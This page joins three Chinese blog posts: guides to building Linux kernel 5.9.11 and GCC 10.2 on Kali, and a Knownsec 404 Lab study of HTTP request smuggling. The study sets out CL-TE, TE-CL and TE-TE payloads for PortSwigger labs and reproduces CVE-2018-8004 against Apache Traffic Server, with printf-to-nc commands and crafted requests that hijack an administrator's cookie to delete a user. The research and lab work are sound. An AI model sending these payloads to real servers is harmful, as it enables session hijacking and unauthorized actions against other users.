Kali下载编译安装Linux5.9.11内核 1.下载最新的Linux内核小版本号为偶数是稳定版本，我们选择稳定版本下载。内核官方网站 https://www.kernel.org/，点击那个黄色的按钮就开始下载了2.环境配置在正式编译前需要安装部分软件。sudo apt update && sudo apt upgrade sudo apt-get install git fakeroot build-essential ncurses-dev xz-utils libssl-dev bc flex libelf-dev bison 出现安装错误的可以分开安装3.解压缩下载完成之后，解压缩刚刚下载好的内核压缩包。解压后大概1G，提前预留充足空间。解压之后进入目录。可以先提前看下新版内核有什么变化。wget https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.9.11.tar.xz tar -zxf linux-5.9.11.tar.xz cd linux-5.9.11可以先用uname -r自行查看下当前内核版本4.配置内核在正式编译内核之前，我们首先必须配置需要包含哪些模块。实际上，有一些非常简单的方式来配置。使用一个命令，你能拷贝当前内核的配置文件，然后使用可靠的 menuconfig 命令来做任何必要的更改。cp /boot/config-$(uname -r) .config上述命令的意思就是拷贝对应当前内核配置到当前目录下并重命名为.config(文件名前加.意思为隐藏文件)。之后在解压后得内核目录里执行命令make menuconfig在这里可以选择启用或者禁用一些模块。如果你不知道该如何选择的话，默认退出即可。4.编译和安装退出menuconfig后，在命令行中输入make -j49命令即可开始编译。-j49意思是并发执行，可以提高速度，一般保险情况 下不要多于CPU核数。为了加快编译那就多开几个线程吧，可以是CPU内核数+1，比如四十八核就-j49。这个命令的执行会耗费很长时间。这里用的gcc版本是10.2在前面的文章中有安装好的 https://www.silverdragon.cn/?p=2019漫长的等待 笔者的使用宿主机分配了48个vCPU 只用了不到5分钟 实际机器配置低的可能需要更久如果抛出“没有规则可制作目标debian/certs/debian-uefi-certs.pem由certs/x509_certificate_list需求停止”这个错误 只需要sudo vim .config将CONFIG_SYSTEM_TRUSTED_KEYS="certs/x509_certificate_list"改成CONFIG_SYSTEM_TRUSTED_KEYS=""即可继续make编译编译完成之后首先安装模块，命令为：sudo make modules_install其次安装内核，命令为：sudo make install5.完成后启用内核作为引导输入下列命令将内核作为引导，将数字更改为你自己编译的版本号：sudo update-initramfs -c -k 5.9.11下面更新一下grub：sudo update-grub6.检查内核是否安装成功之后重启即可在启动界面选择需要启动的内核5.9.11。确认下内核版本参考资料：https://blog.csdn.net/qq_37748570/article/details/108118284

Kali中编译安装GCC10.2.0 一切都和其他源码安装软件是一样的：一、下载解压源代码：mkdir gcc10 && cd gcc10 wget http://ftp.gnu.org/gnu/gcc/gcc-10.2.0/gcc-10.2.0.tar.gz tar xvf gcc-10.2.0.tar.gz二、配置安装路径：sudo vim /etc/profile export PATH="/usr/local/gcc-10.2/bin:$PATH"三、源码自动配置：cd gcc-10.2.0/ ./contrib/download_prerequisites正常的话，会下载几个包，然后系统会提示gmp-6.1.0.tar.bz2: 成功 mpfr-3.1.4.tar.bz2: 成功 mpc-1.0.3.tar.gz: 成功 isl-0.18.tar.bz2: 成功 All prerequisites downloaded successfully. 四、准备编译：cd .. mkdir temp_gcc10.2 && cd temp_gcc10.2 ../gcc-10.2.0/configure --prefix=/usr/local/gcc-10.2 --enable-threads=posix --disable-checking --disable-multilib //允许多线程 make //当然可以加个-j多线程编译 这里生成的目录有6-8G sudo make install不出意外的话，执行make后，就开始编译了大概十几分钟，半个小时这样就完成了九、做个链接：which gcc //查看旧安装目录备份旧版本gcc 替换新版本mv /usr/bin/gcc /usr/bin/gcc_old mv /usr/bin/g++ /usr/bin/g++_old ln -s /usr/local/gcc-10.2/bin/gcc /usr/bin/gcc ln -s /usr/local/gcc-10.2/bin/g++ /usr/bin/g++更换成功，编译一个helloworld试试正常

协议层的攻击：HTTP请求走私 作者：mengchen@知道创宇404实验室日期：2019年10月10日English version：https://paper.seebug.org/1049/1. 前言最近在学习研究BlackHat的议题，其中有一篇议题——"HTTP Desync Attacks: Smashing into the Cell Next Door"引起了我极大地兴趣，在其中，作者讲述了HTTP走私攻击这一攻击手段，并且分享了他的一些攻击案例。我之前从未听说过这一攻击方式，决定对这一攻击方式进行一个完整的学习梳理，于是就有了这一篇文章。当然了，作为这一攻击方式的初学者，难免会有一些错误，还请诸位斧正。2. 发展时间线最早在2005年，由Chaim Linhart，Amit Klein，Ronen Heled和Steve Orrin共同完成了一篇关于HTTP Request Smuggling这一攻击方式的报告。通过对整个RFC文档的分析以及丰富的实例，证明了这一攻击方式的危害性。https://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf在2016年的DEFCON 24 上，@regilero在他的议题——Hiding Wookiees in HTTP中对前面报告中的攻击方式进行了丰富和扩充。https://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20presentations/DEF%20CON%2024%20-%20Regilero-Hiding-Wookiees-In-Http.pdf在2019年的BlackHat USA 2019上，PortSwigger的James Kettle在他的议题——HTTP Desync Attacks: Smashing into the Cell Next Door中针对当前的网络环境，展示了使用分块编码来进行攻击的攻击方式，扩展了攻击面，并且提出了完整的一套检测利用流程。https://www.blackhat.com/us-19/briefings/schedule/#http-desync-attacks-smashing-into-the-cell-next-door-151533. 产生原因HTTP请求走私这一攻击方式很特殊，它不像其他的Web攻击方式那样比较直观，它更多的是在复杂网络环境下，不同的服务器对RFC标准实现的方式不同，程度不同。这样一来，对同一个HTTP请求，不同的服务器可能会产生不同的处理结果，这样就产生了了安全风险。在进行后续的学习研究前，我们先来认识一下如今使用最为广泛的HTTP 1.1的协议特性——Keep-Alive&Pipeline。在HTTP1.0之前的协议设计中，客户端每进行一次HTTP请求，就需要同服务器建立一个TCP链接。而现代的Web网站页面是由多种资源组成的，我们要获取一个网页的内容，不仅要请求HTML文档，还有JS、CSS、图片等各种各样的资源，这样如果按照之前的协议设计，就会导致HTTP服务器的负载开销增大。于是在HTTP1.1中，增加了Keep-Alive和Pipeline这两个特性。所谓Keep-Alive，就是在HTTP请求中增加一个特殊的请求头Connection: Keep-Alive，告诉服务器，接收完这次HTTP请求后，不要关闭TCP链接，后面对相同目标服务器的HTTP请求，重用这一个TCP链接，这样只需要进行一次TCP握手的过程，可以减少服务器的开销，节约资源，还能加快访问速度。当然，这个特性在HTTP1.1中是默认开启的。有了Keep-Alive之后，后续就有了Pipeline，在这里呢，客户端可以像流水线一样发送自己的HTTP请求，而不需要等待服务器的响应，服务器那边接收到请求后，需要遵循先入先出机制，将请求和响应严格对应起来，再将响应发送给客户端。现如今，浏览器默认是不启用Pipeline的，但是一般的服务器都提供了对Pipleline的支持。为了提升用户的浏览速度，提高使用体验，减轻服务器的负担，很多网站都用上了CDN加速服务，最简单的加速服务，就是在源站的前面加上一个具有缓存功能的反向代理服务器，用户在请求某些静态资源时，直接从代理服务器中就可以获取到，不用再从源站所在服务器获取。这就有了一个很典型的拓扑结构。一般来说，反向代理服务器与后端的源站服务器之间，会重用TCP链接。这也很容易理解，用户的分布范围是十分广泛，建立连接的时间也是不确定的，这样TCP链接就很难重用，而代理服务器与后端的源站服务器的IP地址是相对固定，不同用户的请求通过代理服务器与源站服务器建立链接，这两者之间的TCP链接进行重用，也就顺理成章了。当我们向代理服务器发送一个比较模糊的HTTP请求时，由于两者服务器的实现方式不同，可能代理服务器认为这是一个HTTP请求，然后将其转发给了后端的源站服务器，但源站服务器经过解析处理后，只认为其中的一部分为正常请求，剩下的那一部分，就算是走私的请求，当该部分对正常用户的请求造成了影响之后，就实现了HTTP走私攻击。3.1 CL不为0的GET请求其实在这里，影响到的并不仅仅是GET请求，所有不携带请求体的HTTP请求都有可能受此影响，只因为GET比较典型，我们把它作为一个例子。在RFC2616中，没有对GET请求像POST请求那样携带请求体做出规定，在最新的RFC7231的4.3.1节中也仅仅提了一句。https://tools.ietf.org/html/rfc7231#section-4.3.1sending a payload body on a GET request might cause some existing implementations to reject the request假设前端代理服务器允许GET请求携带请求体，而后端服务器不允许GET请求携带请求体，它会直接忽略掉GET请求中的Content-Length头，不进行处理。这就有可能导致请求走私。比如我们构造请求GET / HTTP/1.1\r\n Host: example.com\r\n Content-Length: 44\r\n GET / secret HTTP/1.1\r\n Host: example.com\r\n \r\n 前端服务器收到该请求，通过读取Content-Length，判断这是一个完整的请求，然后转发给后端服务器，而后端服务器收到后，因为它不对Content-Length进行处理，由于Pipeline的存在，它就认为这是收到了两个请求，分别是第一个 GET / HTTP/1.1\r\n Host: example.com\r\n 第二个 GET / secret HTTP/1.1\r\n Host: example.com\r\n 这就导致了请求走私。在本文的4.3.1小节有一个类似于这一攻击方式的实例，推荐结合起来看下。3.2 CL-CL在RFC7230的第3.3.3节中的第四条中，规定当服务器收到的请求中包含两个Content-Length，而且两者的值不同时，需要返回400错误。https://tools.ietf.org/html/rfc7230#section-3.3.3但是总有服务器不会严格的实现该规范，假设中间的代理服务器和后端的源站服务器在收到类似的请求时，都不会返回400错误，但是中间代理服务器按照第一个Content-Length的值对请求进行处理，而后端源站服务器按照第二个Content-Length的值进行处理。此时恶意攻击者可以构造一个特殊的请求POST / HTTP/1.1\r\n Host: example.com\r\n Content-Length: 8\r\n Content-Length: 7\r\n 12345\r\n a 中间代理服务器获取到的数据包的长度为8，将上述整个数据包原封不动的转发给后端的源站服务器，而后端服务器获取到的数据包长度为7。当读取完前7个字符后，后端服务器认为已经读取完毕，然后生成对应的响应，发送出去。而此时的缓冲区去还剩余一个字母a，对于后端服务器来说，这个a是下一个请求的一部分，但是还没有传输完毕。此时恰巧有一个其他的正常用户对服务器进行了请求，假设请求如图所示。GET /index.html HTTP/1.1\r\n Host: example.com\r\n 从前面我们也知道了，代理服务器与源站服务器之间一般会重用TCP连接。这时候正常用户的请求就拼接到了字母a的后面，当后端服务器接收完毕后，它实际处理的请求其实是aGET /index.html HTTP/1.1\r\n Host: example.com\r\n 这时候用户就会收到一个类似于aGET request method not found的报错。这样就实现了一次HTTP走私攻击，而且还对正常用户的行为造成了影响，而且后续可以扩展成类似于CSRF的攻击方式。但是两个Content-Length这种请求包还是太过于理想化了，一般的服务器都不会接受这种存在两个请求头的请求包。但是在RFC2616的第4.4节中，规定:如果收到同时存在Content-Length和Transfer-Encoding这两个请求头的请求包时，在处理的时候必须忽略Content-Length，这其实也就意味着请求包中同时包含这两个请求头并不算违规，服务器也不需要返回400错误。服务器在这里的实现更容易出问题。https://tools.ietf.org/html/rfc2616#section-4.43.3 CL-TE所谓CL-TE，就是当收到存在两个请求头的请求包时，前端代理服务器只处理Content-Length这一请求头，而后端服务器会遵守RFC2616的规定，忽略掉Content-Length，处理Transfer-Encoding这一请求头。chunk传输数据格式如下，其中size的值由16进制表示。[chunk size][\r\n][chunk data][\r\n][chunk size][\r\n][chunk data][\r\n][chunk size = 0][\r\n][\r\n] Lab 地址：https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te构造数据包POST / HTTP/1.1\r\n Host: ace01fcf1fd05faf80c21f8b00ea006b.web-security-academy.net\r\n User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n Accept-Language: en-US,en;q=0.5\r\n Cookie: session=E9m1pnYfbvtMyEnTYSe5eijPDC04EVm3\r\n Connection: keep-alive\r\n Content-Length: 6\r\n Transfer-Encoding: chunked\r\n \r\n 0\r\n \r\n G 连续发送几次请求就可以获得该响应。由于前端服务器处理Content-Length，所以这个请求对于它来说是一个完整的请求，请求体的长度为6，也就是0\r\n \r\n G 当请求包经过代理服务器转发给后端服务器时，后端服务器处理Transfer-Encoding，当它读取到0\r\n\r\n时，认为已经读取到结尾了，但是剩下的字母G就被留在了缓冲区中，等待后续请求的到来。当我们重复发送请求后，发送的请求在后端服务器拼接成了类似下面这种请求。GPOST / HTTP/1.1\r\n Host: ace01fcf1fd05faf80c21f8b00ea006b.web-security-academy.net\r\n ...... 服务器在解析时当然会产生报错了。3.4 TE-CL所谓TE-CL，就是当收到存在两个请求头的请求包时，前端代理服务器处理Transfer-Encoding这一请求头，而后端服务器处理Content-Length请求头。Lab地址：https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl构造数据包POST / HTTP/1.1\r\n Host: acf41f441edb9dc9806dca7b00000035.web-security-academy.net\r\n User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n Accept-Language: en-US,en;q=0.5\r\n Cookie: session=3Eyiu83ZSygjzgAfyGPn8VdGbKw5ifew\r\n Content-Length: 4\r\n Transfer-Encoding: chunked\r\n \r\n 12\r\n GPOST / HTTP/1.1\r\n \r\n 0\r\n \r\n 由于前端服务器处理Transfer-Encoding，当其读取到0\r\n\r\n时，认为是读取完毕了，此时这个请求对代理服务器来说是一个完整的请求，然后转发给后端服务器，后端服务器处理Content-Length请求头，当它读取完12\r\n之后，就认为这个请求已经结束了，后面的数据就认为是另一个请求了，也就是GPOST / HTTP/1.1\r\n \r\n 0\r\n \r\n 成功报错。3.5 TE-TETE-TE，也很容易理解，当收到存在两个请求头的请求包时，前后端服务器都处理Transfer-Encoding请求头，这确实是实现了RFC的标准。不过前后端服务器毕竟不是同一种，这就有了一种方法，我们可以对发送的请求包中的Transfer-Encoding进行某种混淆操作，从而使其中一个服务器不处理Transfer-Encoding请求头。从某种意义上还是CL-TE或者TE-CL。Lab地址：https://portswigger.net/web-security/request-smuggling/lab-ofuscating-te-header构造数据包POST / HTTP/1.1\r\n Host: ac4b1fcb1f596028803b11a2007400e4.web-security-academy.net\r\n User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n Accept-Language: en-US,en;q=0.5\r\n Cookie: session=Mew4QW7BRxkhk0p1Thny2GiXiZwZdMd8\r\n Content-length: 4\r\n Transfer-Encoding: chunked\r\n Transfer-encoding: cow\r\n \r\n 5c\r\n GPOST / HTTP/1.1\r\n Content-Type: application/x-www-form-urlencoded\r\n Content-Length: 15\r\n \r\n x=1\r\n 0\r\n \r\n 4. HTTP走私攻击实例——CVE-2018-80044.1 漏洞概述Apache Traffic Server（ATS）是美国阿帕奇（Apache）软件基金会的一款高效、可扩展的HTTP代理和缓存服务器。Apache ATS 6.0.0版本至6.2.2版本和7.0.0版本至7.1.3版本中存在安全漏洞。攻击者可利用该漏洞实施HTTP请求走私攻击或造成缓存中毒。在美国国家信息安全漏洞库中，我们可以找到关于该漏洞的四个补丁，接下来我们详细看一下。CVE-2018-8004 补丁列表https://github.com/apache/trafficserver/pull/3192https://github.com/apache/trafficserver/pull/3201https://github.com/apache/trafficserver/pull/3231https://github.com/apache/trafficserver/pull/3251注：虽然漏洞通告中描述该漏洞影响范围到7.1.3版本，但从github上补丁归档的版本中看，在7.1.3版本中已经修复了大部分的漏洞。4.2 测试环境4.2.1 简介在这里，我们以ATS 7.1.2为例，搭建一个简单的测试环境。环境组件介绍反向代理服务器 IP: 10.211.55.22:80 Ubuntu 16.04 Apache Traffic Server 7.1.2 后端服务器1-LAMP IP: 10.211.55.2:10085 Apache HTTP Server 2.4.7 PHP 5.5.9 后端服务器2-LNMP IP: 10.211.55.2:10086 Nginx 1.4.6 PHP 5.5.9 环境拓扑图Apache Traffic Server 一般用作HTTP代理和缓存服务器，在这个测试环境中，我将其运行在了本地的Ubuntu虚拟机中，把它配置为后端服务器LAMP&LNMP的反向代理，然后修改本机HOST文件，将域名ats.mengsec.com和lnmp.mengsec,com解析到这个IP，然后在ATS上配置映射，最终实现的效果就是，我们在本机访问域名ats.mengsec.com通过中间的代理服务器，获得LAMP的响应，在本机访问域名lnmp.mengsec,com，获得LNMP的响应。为了方便查看请求的数据包，我在LNMP和LAMP的Web目录下都放置了输出请求头的脚本。LNMP:<?php echo 'This is Nginx<br>'; if (!function_exists('getallheaders')) { function getallheaders() { $headers = array(); foreach ($_SERVER as $name => $value) { if (substr($name, 0, 5) == 'HTTP_') { $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value; } } return $headers; } } var_dump(getallheaders()); $data = file_get_contents("php://input"); print_r($data); LAMP:<?php echo 'This is LAMP:80<br>'; var_dump(getallheaders()); $data = file_get_contents("php://input"); print_r($data); 4.2.2 搭建过程在GIthub上下载源码编译安装ATS。https://github.com/apache/trafficserver/archive/7.1.2.tar.gz 安装依赖&常用工具。apt-get install -y autoconf automake libtool pkg-config libmodule-install-perl gcc libssl-dev libpcre3-dev libcap-dev libhwloc-dev libncurses5-dev libcurl4-openssl-dev flex tcl-dev net-tools vim curl wget 然后解压源码，进行编译&安装。autoreconf -if ./configure --prefix=/opt/ts-712 make make install 安装完毕后，配置反向代理和映射。编辑records.config配置文件，在这里暂时把ATS的缓存功能关闭。vim /opt/ts-712/etc/trafficserver/records.config CONFIG proxy.config.http.cache.http INT 0 # 关闭缓存 CONFIG proxy.config.reverse_proxy.enabled INT 1 # 启用反向代理 CONFIG proxy.config.url_remap.remap_required INT 1 # 限制ats仅能访问map表中映射的地址 CONFIG proxy.config.http.server_ports STRING 80 80:ipv6 # 监听在本地80端口 编辑remap.config配置文件，在末尾添加要映射的规则表。vim /opt/ts-712/etc/trafficserver/remap.config map http://lnmp.mengsec.com/ http://10.211.55.2:10086/ map http://ats.mengsec.com/ http://10.211.55.2:10085/ 配置完毕后重启一下服务器使配置生效，我们可以正常访问来测试一下。为了准确获得服务器的响应，我们使用管道符和nc来与服务器建立链接。printf 'GET / HTTP/1.1\r\n'\ 'Host:ats.mengsec.com\r\n'\ '\r\n'\ | nc 10.211.55.22 80 可以看到我们成功的访问到了后端的LAMP服务器。同样的可以测试，代理服务器与后端LNMP服务器的连通性。printf 'GET / HTTP/1.1\r\n'\ 'Host:lnmp.mengsec.com\r\n'\ '\r\n'\ | nc 10.211.55.22 80 4.3 漏洞测试来看下四个补丁以及它的描述https://github.com/apache/trafficserver/pull/3192 # 3192 如果字段名称后面和冒号前面有空格，则返回400 https://github.com/apache/trafficserver/pull/3201 # 3201 当返回400错误时，关闭链接 https://github.com/apache/trafficserver/pull/3231 # 3231 验证请求中的Content-Length头 https://github.com/apache/trafficserver/pull/3251 # 3251 当缓存命中时，清空请求体4.3.1 第一个补丁https://github.com/apache/trafficserver/pull/3192 # 3192 如果字段名称后面和冒号前面有空格，则返回400看介绍是给ATS增加了RFC7230第3.2.4章的实现，https://tools.ietf.org/html/rfc7230#section-3.2.4在其中，规定了HTTP的请求包中，请求头字段与后续的冒号之间不能有空白字符，如果存在空白字符的话，服务器必须返回400，从补丁中来看的话，在ATS 7.1.2中，并没有对该标准进行一个详细的实现。当ATS服务器接收到的请求中存在请求字段与:之间存在空格的字段时，并不会对其进行修改，也不会按照RFC标准所描述的那样返回400错误，而是直接将其转发给后端服务器。而当后端服务器也没有对该标准进行严格的实现时，就有可能导致HTTP走私攻击。比如Nginx服务器，在收到请求头字段与冒号之间存在空格的请求时，会忽略该请求头，而不是返回400错误。在这时，我们可以构造一个特殊的HTTP请求，进行走私。GET / HTTP/1.1 Host: lnmp.mengsec.com Content-Length : 56 GET / HTTP/1.1 Host: lnmp.mengsec.com attack: 1 foo: 很明显，请求包中下面的数据部分在传输过程中被后端服务器解析成了请求头。来看下Wireshark中的数据包，ATS在与后端Nginx服务器进行数据传输的过程中，重用了TCP连接。只看一下请求，如图所示：阴影部分为第一个请求，剩下的部分为第二个请求。在我们发送的请求中，存在特殊构造的请求头Content-Length : 56，56就是后续数据的长度。GET / HTTP/1.1\r\n Host: lnmp.mengsec.com\r\n attack: 1\r\n foo: 在数据的末尾，不存在\r\n这个结尾。当我们的请求到达ATS服务器时，因为ATS服务器可以解析Content-Length : 56这个中间存在空格的请求头，它认为这个请求头是有效的。这样一来，后续的数据也被当做这个请求的一部分。总的来看，对于ATS服务器，这个请求就是完整的一个请求。GET / HTTP/1.1\r\n Host: lnmp.mengsec.com\r\n Content-Length : 56\r\n \r\n GET / HTTP/1.1\r\n Host: lnmp.mengsec.com\r\n attack: 1\r\n foo: ATS收到这个请求之后，根据Host字段的值，将这个请求包转发给对应的后端服务器。在这里是转发到了Nginx服务器上。而Nginx服务器在遇到类似于这种Content-Length : 56的请求头时，会认为其是无效的，然后将其忽略掉。但并不会返回400错误，对于Nginx来说，收到的请求为GET / HTTP/1.1\r\n Host: lnmp.mengsec.com\r\n \r\n GET / HTTP/1.1\r\n Host: lnmp.mengsec.com\r\n attack: 1\r\n foo: 因为最后的末尾没有\r\n，这就相当于收到了一个完整的GET请求和一个不完整的GET请求。完整的：GET / HTTP/1.1\r\n Host: lnmp.mengsec.com\r\n \r\n 不完整的：GET / HTTP/1.1\r\n Host: lnmp.mengsec.com\r\n attack: 1\r\n foo: 在这时，Nginx就会将第一个请求包对应的响应发送给ATS服务器，然后等待后续的第二个请求传输完毕再进行响应。当ATS转发的下一个请求到达时，对于Nginx来说，就直接拼接到了刚刚收到的那个不完整的请求包的后面。也就相当于GET / HTTP/1.1\r\n Host: lnmp.mengsec.com\r\n attack: 1\r\n foo: GET / HTTP/1.1\r\n Host: 10.211.55.2:10086\r\n X-Forwarded-For: 10.211.55.2\r\n Via: http/1.1 mengchen-ubuntu[3ff3687d-fa2a-4198-bc9a-0e98786adc62] (ApacheTrafficServer/7.1.2)\r\n 然后Nginx将这个请求包的响应发送给ATS服务器，我们收到的响应中就存在了attack: 1和foo: GET / HTTP/1.1这两个键值对了。那这会造成什么危害呢？可以想一下，如果ATS转发的第二个请求不是我们发送的呢？让我们试一下。假设在Nginx服务器下存在一个admin.php，代码内容如下：<?php if(isset($_COOKIE['admin']) && $_COOKIE['admin'] == 1){ echo "You are Admin\n"; if(isset($_GET['del'])){ echo 'del user ' . $_GET['del']; } }else{ echo "You are not Admin"; } 由于HTTP协议本身是无状态的，很多网站都是使用Cookie来判断用户的身份信息。通过这个漏洞，我们可以盗用管理员的身份信息。在这个例子中，管理员的请求中会携带这个一个Cookie的键值对admin=1，当拥有管理员身份时，就能通过GET方式传入要删除的用户名称，然后删除对应的用户。在前面我们也知道了，通过构造特殊的请求包，可以使Nginx服务器把收到的某个请求作为上一个请求的一部分。这样一来，我们就能盗用管理员的Cookie了。构造数据包GET / HTTP/1.1\r\n Host: lnmp.mengsec.com\r\n Content-Length : 78\r\n \r\n GET /admin.php?del=mengchen HTTP/1.1\r\n Host: lnmp.mengsec.com\r\n attack: 1\r\n foo: 然后是管理员的正常请求GET / HTTP/1.1 Host: lnmp.mengsec.com Cookie: admin=1 让我们看一下效果如何。在Wireshark的数据包中看的很直观，阴影部分为管理员发送的正常请求。在Nginx服务器上拼接到了上一个请求中， 成功删除了用户mengchen。4.3.2 第二个补丁https://github.com/apache/trafficserver/pull/3201 # 3201 当返回400错误时，关闭连接这个补丁说明了，在ATS 7.1.2中，如果请求导致了400错误，建立的TCP链接也不会关闭。在regilero的对CVE-2018-8004的分析文章中，说明了如何利用这个漏洞进行攻击。printf 'GET / HTTP/1.1\r\n'\ 'Host: ats.mengsec.com\r\n'\ 'aa: \0bb\r\n'\ 'foo: bar\r\n'\ 'GET /2333 HTTP/1.1\r\n'\ 'Host: ats.mengsec.com\r\n'\ '\r\n'\ | nc 10.211.55.22 80 一共能够获得2个响应，都是400错误。ATS在解析HTTP请求时，如果遇到NULL，会导致一个截断操作，我们发送的这一个请求，对于ATS服务器来说，算是两个请求。第一个GET / HTTP/1.1\r\n Host: ats.mengsec.com\r\n aa: 第二个bb\r\n foo: bar\r\n GET /2333 HTTP/1.1\r\n Host: ats.mengsec.com\r\n \r\n 第一个请求在解析的时候遇到了NULL，ATS服务器响应了第一个400错误，后面的bb\r\n成了后面请求的开头，不符合HTTP请求的规范，这就响应了第二个400错误。再进行修改下进行测试printf 'GET / HTTP/1.1\r\n'\ 'Host: ats.mengsec.com\r\n'\ 'aa: \0bb\r\n'\ 'GET /1.html HTTP/1.1\r\n'\ 'Host: ats.mengsec.com\r\n'\ '\r\n'\ | nc 10.211.55.22 80 一个400响应，一个200响应，在Wireshark中也能看到，ATS把第二个请求转发给了后端Apache服务器。那么由此就已经算是一个HTTP请求拆分攻击了，GET / HTTP/1.1\r\n Host: ats.mengsec.com\r\n aa: \0bb\r\n GET /1.html HTTP/1.1\r\n Host: ats.mengsec.com\r\n \r\n 但是这个请求包，怎么看都是两个请求，中间的GET /1.html HTTP/1.1\r\n不符合HTTP数据包中请求头Name:Value的格式。在这里我们可以使用absoluteURI，在RFC2616中第5.1.2节中规定了它的详细格式。https://tools.ietf.org/html/rfc2616#section-5.1.2我们可以使用类似GET http://www.w3.org/pub/WWW/TheProject.html HTTP/1.1的请求头进行请求。构造数据包GET /400 HTTP/1.1\r\n Host: ats.mengsec.com\r\n aa: \0bb\r\n GET http://ats.mengsec.com/1.html HTTP/1.1\r\n \r\n GET /404 HTTP/1.1\r\n Host: ats.mengsec.com\r\n \r\n printf 'GET /400 HTTP/1.1\r\n'\ 'Host: ats.mengsec.com\r\n'\ 'aa: \0bb\r\n'\ 'GET http://ats.mengsec.com/1.html HTTP/1.1\r\n'\ '\r\n'\ 'GET /404 HTTP/1.1\r\n'\ 'Host: ats.mengsec.com\r\n'\ '\r\n'\ | nc 10.211.55.22 80 本质上来说，这是两个HTTP请求，第一个为GET /400 HTTP/1.1\r\n Host: ats.mengsec.com\r\n aa: \0bb\r\n GET http://ats.mengsec.com/1.html HTTP/1.1\r\n \r\n 其中GET http://ats.mengsec.com/1.html HTTP/1.1为名为GET http，值为//ats.mengsec.com/1.html HTTP/1.1的请求头。第二个为GET /404 HTTP/1.1\r\n Host: ats.mengsec.com\r\n \r\n 当该请求发送给ATS服务器之后，我们可以获取到三个HTTP响应，第一个为400，第二个为200，第三个为404。多出来的那个响应就是ATS中间对服务器1.html的请求的响应。根据HTTP Pipepline的先入先出规则，假设攻击者向ATS服务器发送了第一个恶意请求，然后受害者向ATS服务器发送了一个正常的请求，受害者获取到的响应，就会是攻击者发送的恶意请求中的GET http://evil.mengsec.com/evil.html HTTP/1.1中的内容。这种攻击方式理论上是可以成功的，但是利用条件还是太苛刻了。对于该漏洞的修复方式，ATS服务器选择了，当遇到400错误时，关闭TCP链接，这样无论后续有什么请求，都不会对其他用户造成影响了。4.3.3 第三个补丁https://github.com/apache/trafficserver/pull/3231 # 3231 验证请求中的Content-Length头在该补丁中，bryancall 的描述是当Content-Length请求头不匹配时，响应400，删除具有相同Content-Length请求头的重复副本，如果存在Transfer-Encoding请求头，则删除Content-Length请求头。 从这里我们可以知道，ATS 7.1.2版本中，并没有对RFC2616的标准进行完全实现，我们或许可以进行CL-TE走私攻击。构造请求GET / HTTP/1.1\r\n Host: lnmp.mengsec.com\r\n Content-Length: 6\r\n Transfer-Encoding: chunked\r\n \r\n 0\r\n \r\n G 多次发送后就能获得405 Not Allowed响应。我们可以认为，后续的多个请求在Nginx服务器上被组合成了类似如下所示的请求。GGET / HTTP/1.1\r\n Host: lnmp.mengsec.com\r\n ...... 对于Nginx来说，GGET这种请求方法是不存在的，当然会返回405报错了。接下来尝试攻击下admin.php，构造请求GET / HTTP/1.1\r\n Host: lnmp.mengsec.com\r\n Content-Length: 83\r\n Transfer-Encoding: chunked\r\n \r\n 0\r\n \r\n GET /admin.php?del=mengchen HTTP/1.1\r\n Host: lnmp.mengsec.com\r\n attack: 1\r\n foo: 多次请求后获得了响应You are not Admin，说明服务器对admin.php进行了请求。如果此时管理员已经登录了，然后想要访问一下网站的主页。他的请求为GET / HTTP/1.1 Host: lnmp.mengsec.com Cookie: admin=1 效果如下我们可以看一下Wireshark的流量，其实还是很好理解的。阴影所示部分就是管理员发送的请求，在Nginx服务器中组合进入了上一个请求中，就相当于GET /admin.php?del=mengchen HTTP/1.1 Host: lnmp.mengsec.com attack: 1 foo: GET / HTTP/1.1 Host: 10.211.55.2:10086 Cookie: admin=1 X-Forwarded-For: 10.211.55.2 Via: http/1.1 mengchen-ubuntu[e9365059-ad97-40c8-afcb-d857b14675f6] (ApacheTrafficServer/7.1.2) 携带着管理员的Cookie进行了删除用户的操作。这个与前面4.3.1中的利用方式在某种意义上其实是相同的。4.3.4 第四个补丁https://github.com/apache/trafficserver/pull/3251 # 3251 当缓存命中时，清空请求体当时看这个补丁时，感觉是一脸懵逼，只知道应该和缓存有关，但一直想不到哪里会出问题。看代码也没找到，在9月17号的时候regilero的分析文章出来才知道问题在哪。当缓存命中之后，ATS服务器会忽略请求中的Content-Length请求头，此时请求体中的数据会被ATS当做另外的HTTP请求来处理，这就导致了一个非常容易利用的请求走私漏洞。在进行测试之前，把测试环境中ATS服务器的缓存功能打开，对默认配置进行一下修改，方便我们进行测试。vim /opt/ts-712/etc/trafficserver/records.config CONFIG proxy.config.http.cache.http INT 1 # 开启缓存功能 CONFIG proxy.config.http.cache.ignore_client_cc_max_age INT 0 # 使客户端Cache-Control头生效，方便控制缓存过期时间 CONFIG proxy.config.http.cache.required_headers INT 1 # 当收到Cache-control: max-age 请求头时，就对响应进行缓存 然后重启服务器即可生效。为了方便测试，我在Nginx网站目录下写了一个生成随机字符串的脚本random_str.phpfunction randomkeys($length){ $output=''; for ($a = 0; $a<$length; $a++) { $output .= chr(mt_rand(33, 126)); } return $output; } echo "get random string: "; echo randomkeys(8); 构造请求包GET /1.html HTTP/1.1\r\n Host: lnmp.mengsec.com\r\n Cache-control: max-age=10\r\n Content-Length: 56\r\n \r\n GET /random_str.php HTTP/1.1\r\n Host: lnmp.mengsec.com\r\n \r\n 第一次请求第二次请求可以看到，当缓存命中时，请求体中的数据变成了下一个请求，并且成功的获得了响应。GET /random_str.php HTTP/1.1\r\n Host: lnmp.mengsec.com\r\n \r\n 